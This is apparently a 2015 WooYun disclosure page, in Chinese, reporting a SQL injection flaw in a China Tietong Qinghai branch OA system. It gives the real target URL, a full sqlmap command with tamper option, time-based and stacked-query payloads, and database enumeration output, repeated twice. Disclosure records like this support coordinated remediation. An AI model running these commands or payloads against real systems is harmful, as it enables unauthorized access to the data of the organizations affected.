当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126540

漏洞标题:中国铁通某系统存在SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-07-16 13:23

修复时间:2015-09-06 00:00

公开时间:2015-09-06 00:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-16: 细节已通知厂商并且等待厂商处理中
2015-07-21: 厂商已经确认,细节仅向厂商公开
2015-07-31: 细节向核心白帽子及相关领域专家公开
2015-08-10: 细节向普通白帽子公开
2015-08-20: 细节向实习白帽子公开
2015-09-06: 细节向公众公开

简要描述:

中国铁通某系统存在SQL注入漏洞。

详细说明:

中国铁通青海分公司OA办公系统存在SQL注入漏洞
地址:http://oa.cttqh.com/C6/Jhsoft.Web.login/PassWord.aspx
注入地址:http://oa.cttqh.com/C6/Jhsoft.Web.login/NewView.aspx?ID=10

python sqlmap.py -u "http://oa.cttqh.com/C6/Jhsoft.Web.login/NewView.aspx?ID=10" --dbms "mssql" --tamper "space2comment.py" --dbs


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ID
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ID=10; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ID=10 WAITFOR DELAY '0:0:5'--
---
[19:38:17] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[19:38:17] [INFO] testing Microsoft SQL Server
[19:38:17] [WARNING] time-based comparison needs larger statistical model. Making a few dummy request
[19:38:26] [INFO] confirming Microsoft SQL Server
[19:38:26] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[19:38:26] [INFO] fetching database names
[19:38:26] [INFO] fetching number of databases
[19:38:26] [INFO] resumed: 7
[19:38:26] [INFO] resumed: C6!
[19:38:26] [INFO] resumed: master
[19:38:26] [INFO] resumed: model
[19:38:26] [INFO] resumed: osdb
[19:38:26] [INFO] resumed: ReportServerA\t
[19:38:26] [INFO] resumed: ReportServerTempIB
[19:38:26] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (htt
[19:38:26] [INFO] resumed: temp?b
available databases [7]:
[*] [C6!]
[*] [temp?b]
[*] master
[*] model
[*] osdb
[*] ReportServerA
[*] ReportServerTempIB


就这些吧!

漏洞证明:

中国铁通青海分公司OA办公系统存在SQL注入漏洞
地址:http://oa.cttqh.com/C6/Jhsoft.Web.login/PassWord.aspx
注入地址:http://oa.cttqh.com/C6/Jhsoft.Web.login/NewView.aspx?ID=10

python sqlmap.py -u "http://oa.cttqh.com/C6/Jhsoft.Web.login/NewView.aspx?ID=10" --dbms "mssql" --tamper "space2comment.py" --dbs


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ID
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ID=10; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ID=10 WAITFOR DELAY '0:0:5'--
---
[19:38:17] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[19:38:17] [INFO] testing Microsoft SQL Server
[19:38:17] [WARNING] time-based comparison needs larger statistical model. Making a few dummy request
[19:38:26] [INFO] confirming Microsoft SQL Server
[19:38:26] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[19:38:26] [INFO] fetching database names
[19:38:26] [INFO] fetching number of databases
[19:38:26] [INFO] resumed: 7
[19:38:26] [INFO] resumed: C6!
[19:38:26] [INFO] resumed: master
[19:38:26] [INFO] resumed: model
[19:38:26] [INFO] resumed: osdb
[19:38:26] [INFO] resumed: ReportServerA\t
[19:38:26] [INFO] resumed: ReportServerTempIB
[19:38:26] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (htt
[19:38:26] [INFO] resumed: temp?b
available databases [7]:
[*] [C6!]
[*] [temp?b]
[*] master
[*] model
[*] osdb
[*] ReportServerA
[*] ReportServerTempIB


就这些吧!

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-21 08:54

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理单位处置。

最新状态:

暂无